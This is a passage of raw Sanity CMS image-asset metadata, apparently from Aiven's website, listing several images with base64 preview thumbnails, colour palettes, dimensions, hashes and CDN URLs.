65Jfvn4HF1SGVkeE/YMSoYRZeDNN5GzX1i7B+RFA5QlTqiGqDgNokqLVQUl0iiS5SvEcsO8Cq3P5v6JeqSPoeEeOAsLaPT9rDJ+0jqkeE9QZhvYmo2wjKKJs2otYhoJwi6j10a0C2ck9+dEpliJF/wDXmXmdi9hOT3i9MeL8yOVfFG6ohqnVCWoOQbhOOOwQ1h4DiEFQ7BNXuczJCtItkXCAnB0iJK8T4NX8BIHFVrQhuajMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414987","foreground":"#fff","population":3.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c84","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#aeabe0","foreground":"#000","population":6.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#777fc4","foreground":"#fff","population":2.63,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aeabe0","foreground":"#000","population":6.76,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676faa","foreground":"#fff","population":4.42,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1f2b8c","foreground":"#fff","population":5.46,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Event-driven architecture.PNG","path":"images/sczeoy4w/production/12065e7736be02f7d9e903934e682b797fba195a-1533x729.png","sha1hash":"12065e7736be02f7d9e903934e682b797fba195a","size":150957,"uploadId":"14SRK7BvwKIZwgtJw1qxkiRJYzpRDFcD","url":"https://cdn.sanity.io/images/sczeoy4w/production/12065e7736be02f7d9e903934e682b797fba195a-1533x729.png"} {"_createdAt":"2024-04-16T13:41:33Z","_id":"image-1628b576534292e578a0a842eac3772853c910ea-1200x630-png","_rev":"SjomukZ722pBg0JKa6QV85","_type":"sanity.imageAsset","_updatedAt":"2024-04-16T13:41:33Z","assetId":"1628b576534292e578a0a842eac3772853c910ea","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBByd|1C#lJG+WRzTN}i0-t8xFMwJ:$%$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADDUlEQVQokSXPW0+aBwCAYf7BLloPGwI6DoLCB4ICIip8gKCIB9AKtoillYKIKKitB2pB54HWHtPEXmzLssREs7huc25Zlu2m2bJkNyZbdrFsS3axy/2Fd4n7A0/ySN6qG+OKdIIa2SR1ijj1jTepVdzmqmyGGnmGWsU8dU2L1CuXeUe1iky7hcZ8iMF5il08ZSa8x1EuwS+VQf594kZSK4+hNaYQrHOYbHnMjiKtlgIq/QLK1gJK/QoqwyoK3SpS9RoN2grqtpfouz7BJr5mavgxh6kUb9bD/LUXQCJTTeFwF/GHSoTGtghH9/EPbeMOVBD7d/AEq7j7H2KwlmnQrNPQXEZleoHecYzF9Skh/ws2J/MczU3xenESiVydoMu9xMDoJpHYLtduPGJofJ9geJ/Q2AGj0ecMhJ8h2CtINWuXoMb8HFP3Ee2uEzw9T5jvz7EduUVhOI9E+m6cDucC3oF1fIMlfIMP8A5U8Aa36QvtERg5wBWo0tx2/7KsaKkg2F/i9B/jCx6T9G5S9YSpekbJdqeQ1CkmMbTP0tlbxO5axu66i0Ncx+ndpMe3hUPcxmh/gErYQKbdQCnsYBffJzB2RjT2GTvhu5wF7Jx4bOz3Dv8P6i0ZbD0FOl3LdImrdHtLOD2bOMQy1u4y7Y4Snc4NLB1rGK27uINHRKa+I3Hre9YnDvh4IMRHvj5KrmkkVxuiKHVJ9OYMQkcOo20Ro20JramAylBEKyzj7lrkdihDbuQO8aES49ET4ukfSWZ/5nrsCxL+p0x7HzLofoXkSv0YqqYoen2SFlOGZuMcWlMejbBAU0sBrVAkIqZ5PDXB6fwoH+RzLGVPSBcuyCz9ysiNN3T6zukQz7GIXyGpeTuCpnEcfcs0OmMatWEWXdsCgnWF1vZ7GDvuEfVn+TA9zkW5nx/eS/Fo45Sl0u8US39yLfkTdv83mMWvMbu/RFInjyJtjCFXxpGrbyLXzNCkm0Wlz1+WNcIK/p48h3eu80c1yG9P07zaOeP+7t9s7P5DIntBb+hbbH3nWL2f8x/RGr4wDdSZrAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414674","foreground":"#fff","population":1.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131e6f","foreground":"#fff","population":7.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131e6f","foreground":"#fff","population":7.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8b94c2","foreground":"#000","population":0.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbb467","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a06866","foreground":"#fff","population":0.93,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e24c10","foreground":"#fff","population":1.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Meet with Aiven Google Cloud Summit Paris.png","path":"images/sczeoy4w/production/1628b576534292e578a0a842eac3772853c910ea-1200x630.png","sha1hash":"1628b576534292e578a0a842eac3772853c910ea","size":266039,"uploadId":"VflvNUuB07vzT4lV7FGwfZtT2gohVcbw","url":"https://cdn.sanity.io/images/sczeoy4w/production/1628b576534292e578a0a842eac3772853c910ea-1200x630.png"} {"_createdAt":"2024-06-26T23:56:08Z","_id":"image-bffa9ef6b89b89e7fd56483f9e55d0800c275797-1334x884-png","_rev":"m4mXZHpK6l56U588DCy46j","_type":"sanity.imageAsset","_updatedAt":"2024-06-26T23:56:08Z","assetId":"bffa9ef6b89b89e7fd56483f9e55d0800c275797","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V371,K009F_44m?0S0ImxwIpITRiI9?dt3K8Mw%MxvwH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.509049773755656,"height":884,"width":1334},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAACToAAAk6AGCYwUcAAADI0lEQVQ4jW3TyU8bdxjGcf8NQLBZzHjGnhnPeDwLZrzggFnSKKkSBEqXRKFVyhoa2xjCEgwExyYFs9gOiZq0qapW6iGHqoce2kukHvtnfSsbSA/t7Xf66H3f3/N42rof0NYzQ3vvHB3+BTr8D7nS9zWdQhZvIIc3sEynuIIvuIaZOuLe7O/M5t5zffJnzNQxRvwQI3GE6hwS0J/jaYLt/wGXLsA8PqmAV1qhK7TOQKbOTO492c2/ufX5O6zBEyLxKhH3CNk+RLgE27pnaO+ZpaN3vgV2Sznk6DphawspsklAf4JoFHGunjA1/StfLP7J7c9+wR2uE00eE4kfozpVguYhnvbeGTr75vAGFvEKD+kUltCsDaZunfDJRI3EUAUr9QwrVcFIPMdMHjN241se3P+RT++8IT3+AjfToP9qHTNVx+MT5xG1LHK0QEDL0x3MYsa2uD9VZ3qyweBwBXvwGf3pCka8jGg8JZE+YP7ua7669x3jN18xeO2M5NgZ7shLPF3SAiEjj+48Jhgp4FfyrXUHErvE4rvoThHZKiLbOyjOHkFzj6i7z+j4KdduvGBwrI6bqRMbqtM/dNaccAFJz6E5q0iRZYRwAclYQ4qsEzQ20GPbaLEdgtEiIXMX2SqhOhW0gW9w0kfEMzViQzXM5ClWqnEONldWzAKidg4GjXWkyBqivoZqF1GdbaQmaD0lZJWQ7TKKXcEdrXPz7k+MTrwlmjwlmry4oaA+IhhZboEBbYVQdAPZ3GxNqFhbKHYRxd5B7S+1JpStJrjP6NQPLJb+4s7ib0RTzR+v4ekU5ugJLSGoWfxKjl4lj6g/RrE2W5hqb6M6u2gDe+huGdkuoThldPeA4YnvmV79g4+/fNcCjUTtPDZX/HN4hYUPsemScvjVFYTwGoK2gaA/QYvvkfioijN8QH/mlMT1V8RGGrhjL7HSDRSnimxXL4J92ZTef6vnDWTxiXl8YgGftIo6sMvIZI3M7QaZiddkJt9ipE6QjH0EvUKftk+fdtmU/+3yow9d9oor+LUNoqky7kiVxNgpVvoYMVrBHy7hD5fxh5vvff4B4zHfocBtPNoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#404b8a","foreground":"#fff","population":1.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":13.82,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":13.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afa3ad","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#abb7eb","foreground":"#000","population":3.53,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#626ca7","foreground":"#fff","population":2.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c32ca","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AI-driven recommendations.PNG","path":"images/sczeoy4w/production/bffa9ef6b89b89e7fd56483f9e55d0800c275797-1334x884.png","sha1hash":"bffa9ef6b89b89e7fd56483f9e55d0800c275797","size":184007,"uploadId":"DlTFR8KWcuopPr8jIJ8bv0WYiDXAgYVQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/bffa9ef6b89b89e7fd56483f9e55d0800c275797-1334x884.png"} {"_createdAt":"2024-05-24T06:51:53Z","_id":"image-45cdaf2cac9f1b5a8159bd812ffac48d9fefdf87-120x120-svg","_rev":"kvD2acrBmFSZeMYobhKT3B","_type":"sanity.imageAsset","_updatedAt":"2024-05-24T06:51:53Z","assetId":"45cdaf2cac9f1b5a8159bd812ffac48d9fefdf87","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHRVtgxZ8wt8VX%M_3WX~WofHqRj0Ks.ENE2~WxZrWs.DhkDJBj@bw","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":120,"width":120},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD5ElEQVQ4jXWUy27bRhSG6ZcoGnRTdNUuuuuuu6JAumjfICu/QDdBEKBdBEheokW2bgMEcWzZsizJimzHsmxFqizrYseKJFIXipRIUTeLlMg5fzFD0mkWJfBzjobAp3/OOXMkyv0G1DcAOQK0toDWNqi1JcRjyNv+2toikrcJzVcMtT+qyD78FTs/fI7ojxJpWQmb30nIPpQkDqNJA+RYoIUBsk3AGQnx+E6OSXBMItsgTD5MoewmkH/yANGfPsPLb9cACKgEeUfA7KUHw7SgD0cwrQmM0QT60MTImmC18sAfAogLzAVm7SmUaILyTx7Qng/lTiV+JLYwoA8MZLI5xJNpJN8cIZU+RurwBIXiJUbWGEREHBesRGxFIRQcyp3u3efACLzbIZR2D/HkG2xG9vEqEsf23gHiB4fInJ5C1/ogYsRNch5/iziAUgDlORVAthjCMvpoVHOoV/NoXJfQvClDuc6jXTvGbNAAsZU4deg0hOLO6W6CF0oAyTbAnDHcYRmuegpPPYGnZkTsau/AZh0BDC0Gz8eYuSBeqNqfVYl4WzgmQB7gGMDkA2BeAqMKMG353zzbL0lYGv/lb1Dg1DaImptMFIV4i/Bd5kH8m+f4Yi4YY2CMxBq4EmJ37phffWdEkCMU5NDAeDJDt6eirw9FuwyMEXqqFqh/F6t9HX1Nh9rX0NcG1O2pZI1n8BYGQd4WQFrNdLq6aSJxcESp9AklUrxtThDdT+EgfYLMWR6n5wUkUseIRBOIJQ/F/tHbM+zFU7is3mA51cRtE8DlTKd6UyHeh8eZc4ol0xRLpLGzl0TqMIN3hRL+uajgIP0WL19HsbUTB//O+3Q3lkSpcg1nEgJbr4kthjS/tckaj8kcWdD0AXW6KtWu6yiWKqjU3uN9vYFy9Rq5/AWy5wXhOFe4EI2vdFQsp3oAvHp+Q5PGnBckbApePNfzyDQtarbaaLQUtDs9tOS2gJ/niz4wf4FSuYpOT4MTHpnOHj9CO5ameXdOzPXvasB1XZds26HZ/BbWeCKKwV1yh9kAWCxVoHT6H4GI3v+CCs/Wqb3/CTR0ym0vbJv62gCNpoxSuSZyWrgoo1iqoly9QlfVsZyFR974UkLs53soPF1HAAWH+k3GBce2yTBM0T5KuwNZ6aDT7Yk266kqrPEU7nwgZqdEM0XCi2/WEPvlHhWeCqcQTsXIuru1HiOsXIaV6wVicD3/t8cgRiAfhRK2vpfEcHzx9Zrv9Nk6zykmzTnZfKiOQgFLLus/8gcxlmNg2gTV/4IEbyERh05lCRtfiZzi7PEjunp+44/9HSI5woX/lbILqv8N5H7Hv38eiD06qLEnAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#373c3c","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#62400d","foreground":"#fff","population":0.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f89b08","foreground":"#000","population":5.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bcbf","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcd862","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa8450","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f89b08","foreground":"#000","population":5.98,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"aws data and analytics competency dark.svg","path":"images/sczeoy4w/production/45cdaf2cac9f1b5a8159bd812ffac48d9fefdf87-120x120.svg","sha1hash":"45cdaf2cac9f1b5a8159bd812ffac48d9fefdf87","size":25798,"uploadId":"9Nz1WsSALsFZ0dODLf9ZReuCa7F4UzlZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/45cdaf2cac9f1b5a8159bd812ffac48d9fefdf87-120x120.svg"} {"_createdAt":"2024-05-13T15:48:55Z","_id":"image-78abac4b6d8301891c1fe5ab0b37642f4a679969-1200x630-png","_rev":"qnoh2pCVRlOXH0AEWC6KQD","_type":"sanity.imageAsset","_updatedAt":"2024-05-13T15:48:55Z","assetId":"78abac4b6d8301891c1fe5ab0b37642f4a679969","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBBV*.0v#kO^:|kOOw}h15xu%2R4JD$%$y","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADB0lEQVQokUXQzU/bBQDG8f4HxrBQ+kJL21+hlF+3QqF0fS+/vslAGEVeCl3XtaUFWmgpmyDtBC2DbTglmqlbejE6A8kciE6NiR6MGhMP8zAvRk1MPPsnfA3z4OG5fvI8j+yMaooW7QxKfQKV4TIK3RXk2gwtbTkU+gIqoYTKuIq642U0pio68QZm+z26/Ue4w0fkJ27zcSnN0+0R/tkPIZNr43Rac/S6SthcZcw9SwhiAYO4jNFSoePcGmZbja6+TcS+OlbnHjZfg27/IxzSEcnRO7yfy/F9Ncafu1FkSv0sdk+JyIs1wkPX8YY28Iau4wtv4Qm9ji+8Q3Boj8joPpHRdxiM3Sc8+hH24CfY/I8YjrzNq/FlHhQSHK/EkbW0zXDOvogrsIozcI3z/rVnoDe0hVt6Dbe0jVPawRHYpd9/C6e0jyvcwC4d0Os/RPK+xdILRbbH01RGlv8HHb4VHL5TdA1PsIYnuIlrYIs+zxadtiraznVaOzbQW05n38UdPSA0eEAquMlNKcZNaYwFT+6/D8WeeXpdy9icZXrdq9i96/T7qthcNUzWU+gqLYbTrKOzbNMfaBCNnTA1fcyNsWucRB0cSg52fSPImlSTaNqTGLoyGLrmEMR5BLFI+9kyglhBbSyjMZZoN5fpFK9ytm+HwIUHxC59QzL9LdXJPT4cHOKDUIiaP4nsueZxmpQTNLdOI9cmkLelUOizqIQFFPoiakMRu3WBeDBD/kKG2eEa41OHJHI/cmXxZ2amP+Vy5E1SwVsMB95D9nzzGGplDJ0+jsaYQi2kMZjzdFgKqAwFNIYCw+4MbyQmebh0kcZSkcriIfnyL8xXnnJx9jvOhx5jH3iMbeALZGfkYwiaGGbTJYziHG2mLCZLDtG6gMZYQCMUGfFmaczFeLIZ5Yd6ltsbD6lUf2Ol+gcTqZ/oD39Fd+BLuv2fI2tSvIRcPYFSG0epT6LQpVDp07QKc88athpLBByL3M1M8ftuhF/vZHm3fkK1/hev1P9mNv8E9+DX2AY+o8d/zL8y3rcmkY2RYwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4278","foreground":"#fff","population":1.87,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041481","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c4278","foreground":"#fff","population":1.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5aad5","foreground":"#000","population":1.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f89e43","foreground":"#000","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5cab","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e04d11","foreground":"#fff","population":1.23,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"_AWS Berlin 2024 (1).png","path":"images/sczeoy4w/production/78abac4b6d8301891c1fe5ab0b37642f4a679969-1200x630.png","sha1hash":"78abac4b6d8301891c1fe5ab0b37642f4a679969","size":253907,"uploadId":"tbewRTktwG5iecVfuwmg2yjoMVNEK2Sr","url":"https://cdn.sanity.io/images/sczeoy4w/production/78abac4b6d8301891c1fe5ab0b37642f4a679969-1200x630.png"} {"_createdAt":"2024-05-24T07:57:09Z","_id":"image-e1b2bfdc6c1919dd9e07f96e057a5b5c491ae1da-1200x628-png","_rev":"L2VX8UNy1a0yGsFTNdE5sL","_type":"sanity.imageAsset","_updatedAt":"2024-07-16T11:19:38Z","altText":null,"assetId":"e1b2bfdc6c1919dd9e07f96e057a5b5c491ae1da","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M75},_-wRNRiV@?wx[M_R*a~t1jZRjogs,","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACWUlEQVQokT2S/U9SYRiG+QuaCZ7D+QYOcAC/ciqZH2VWilqiaOrMXBZkaqIiSIKCmFpmm3Ot/t2rnRfrh3t732d7rj33cz+eVvU1se4cvYN5eof26XlUoPthkf6RCkPPGjwev+Tp1DXPX90wNn3LyMQtDwavMONV/PYhSvgINVJFCX/BHyrikcxl+ofzpNInTM81ePHylLHJUybS35ic+8H4zDWp2Rum538xNf+H8fRvkqM/sRJNoBo9QXNO0aI11MgxHtlaJjmcZ2ahwezSBZPpM1Lpc6YzV4ymzulMVnF6qsR76yT6vhLvO8furKGGS/jtMrpzhhG/EDIT3/F4tUWcrhwDTw4YGD2kd6hEcqTCwGiNrmQFwzlADhVQwodo0Sqac4IaKaPYBRS79H9CI3aB2X6Np8W/gGytYkazmM4GVmybYPs+dmeJUEcZK17GcMpYiWNCnWcEOxoEElXM2CFapIRil8UetWgdI36J556U4b6yhFd7g89YQ7KyKKFNVHsHLbKPHi2KRt05wkrUhIxYWdTVSDOUf8G49gWwRZ6nVVnEq63g1dfw6u/xmR+RrC2kwM6d8vhDBfx2ETm4hxzcFdNp0boIRAlXUCMVPK3yHIaaIRhawYqu4w+s06q9w6tn8ZmfaLO28Zmb+IwN8ZYCuwIuBffEZLrTaALtcvNsfPIstpEh7rwl0p5Dsz/g1dfxGlnazE2kwGfarC0BdMFN2K5odgNxga5d9+868LTIGXxKBklfQjJXxR5doM/I0Wa5gB3k4I6AunLtuo0idaeG7tTvjvpA6C+erltOYIBZ/gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#653e6c","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":15.55,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":15.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#979dc8","foreground":"#000","population":0.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c2c7ed","foreground":"#000","population":0.25,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646c9e","foreground":"#fff","population":1.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b84449","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"blog-aiven-ai-database-optimizer_meta-preview.png","path":"images/sczeoy4w/production/e1b2bfdc6c1919dd9e07f96e057a5b5c491ae1da-1200x628.png","sha1hash":"e1b2bfdc6c1919dd9e07f96e057a5b5c491ae1da","size":185237,"title":null,"uploadId":"oN9x7Ip3263Ph0fOfIt880h3dglEmEdG","url":"https://cdn.sanity.io/images/sczeoy4w/production/e1b2bfdc6c1919dd9e07f96e057a5b5c491ae1da-1200x628.png"} {"_createdAt":"2024-06-25T19:04:00Z","_id":"image-20b47dbcf13da2cd56280c3f00ba7d86d41e926a-1551x731-png","_rev":"m4mXZHpK6l56U588DBOfJn","_type":"sanity.imageAsset","_updatedAt":"2024-06-25T19:04:00Z","assetId":"20b47dbcf13da2cd56280c3f00ba7d86d41e926a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M46b4;RKtSIoE1?dt6M{IoNGDht6M_Ioo#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.121751025991792,"height":731,"width":1551},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAACToAAAk6AGCYwUcAAACLUlEQVQokXXSS08aARiFYf5DC7RylWFuwMAwwwwIFPACtTaxpum6t6SWWkWIUQSEoShqDESrNhr/7NvIonHTxdk++c7J53rm/4Q78BVP8Bue4CaeUB3L7vLx/SWrK2eo6R6S3kMxBqjmECX9i3DcIagOiSZPUMxz1MwFsjlBSE1wheTvyKkGarqFqDUJKQ1Mu8uH9Sm16jl6bkhqYYRRPCFdOEXLjpH0Y2RjjPlqQmHlmkL1FqtyQyJ3hStmNMiWO+QXj7CKXTSrjWZ1sPIO6ewAzR5gFEZkSmP0/BjVPCZun2KVp5RWr6mu31HbeKD85h6jdINLs5oUl3uUaw75pT65yoBMcUDM7CAl26hGj9TCEKN4jGaPUIwRdmXC4trtLNX1O15vPFBZewIWlnqUqg75xSeg0SGaOEBMHqKaR8QyDmKqj5gakq1MWXr7HzBmNLBLh7PKmWKXROYAWX9MGyl1iJLukbAd4tYQIdknknBI2GfYlSnl1Rtq7+7/geYjGBA3EbUdFL2FEN/FL27jl3YREvuz6yS9i2oOUEyHaHJARHMQko/Vx2RKjzveUlm7I7f8B23hCtfzwGcCUp1IbAefsIU7WMcb3mJOaOCLtvCJe/ikffxyG7/cISD3CMj92dtI+hijOMWu/EbLXSLoE1zu4Bfm1S3kVJOgtI0nWMcd/IEn9BNveAdvuIl3voU3sscL4YCX0Q5zYg+fNCAcH5HIXmAUr1CtKaH4BX8BdmRQ7AG66eYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#424a87","foreground":"#fff","population":1.81,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":9.58,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":9.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#262872","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b3b4e5","foreground":"#000","population":4.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6770a8","foreground":"#fff","population":5.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2986","foreground":"#fff","population":8.72,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Event-driven architecture.PNG","path":"images/sczeoy4w/production/20b47dbcf13da2cd56280c3f00ba7d86d41e926a-1551x731.png","sha1hash":"20b47dbcf13da2cd56280c3f00ba7d86d41e926a","size":129567,"uploadId":"GFEMoc9O5mkMmvr2gPBL3D9BMxJnOaNs","url":"https://cdn.sanity.io/images/sczeoy4w/production/20b47dbcf13da2cd56280c3f00ba7d86d41e926a-1551x731.png"} {"_createdAt":"2024-10-21T07:42:17Z","_id":"image-1f8b579fbd8ccd5a4dbf531b0482e68bc0c8ab90-1622x1622-jpg","_rev":"exgZYl4YMpSEzTrzxtNTQm","_type":"sanity.imageAsset","_updatedAt":"2024-10-21T07:42:17Z","assetId":"1f8b579fbd8ccd5a4dbf531b0482e68bc0c8ab90","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eNE{InH?3GEM,n?]I9S~aKs.5qi_,BxubaEl$$RPo}ayJ7t8nMt8NK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1622,"width":1622},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAYHAf/EACIQAAEEAgICAwEAAAAAAAAAAAEAAgMEBREhMRJBBhMiYf/EABgBAQADAQAAAAAAAAAAAAAAAAUAAwQG/8QAIhEAAQQABQUAAAAAAAAAAAAAAgABAwQRMkFRoRMiMZGx/9oADAMBAAIRAxEAPwCbxVKS1egrtaf2dH+BV04uUbtKrSyX3wB4YK+hrZPpTvx7JPq5JspDCPEgeXA3pcy+SlbkK7mQwxzRgvEkZ6cfalw5RtgEb7K6lBFJSkOZm1+LXMngRBOxtm/BHK5gcWkjjfpFjFrJW7MxlsTukkPbnHZROsB78LmemGjcqYyduWeGRryAAOPHhRsGVu18qY22HuZ1px2iLJZzs6eHLgqZr5XMa4zSbI32iIgSlPF+5/aQaIMPDL//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#513c2f","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e5c66","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c16c4a","foreground":"#fff","population":7.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#944804","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc899","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#906455","foreground":"#fff","population":5.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c16c4a","foreground":"#fff","population":7.25,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Oskari Saarenmaa.jpg","path":"images/sczeoy4w/production/1f8b579fbd8ccd5a4dbf531b0482e68bc0c8ab90-1622x1622.jpg","sha1hash":"1f8b579fbd8ccd5a4dbf531b0482e68bc0c8ab90","size":360810,"uploadId":"CNlO8qMEBGtqw0Mvhx6qBDyBeLi9RFhs","url":"https://cdn.sanity.io/images/sczeoy4w/production/1f8b579fbd8ccd5a4dbf531b0482e68bc0c8ab90-1622x1622.jpg"} 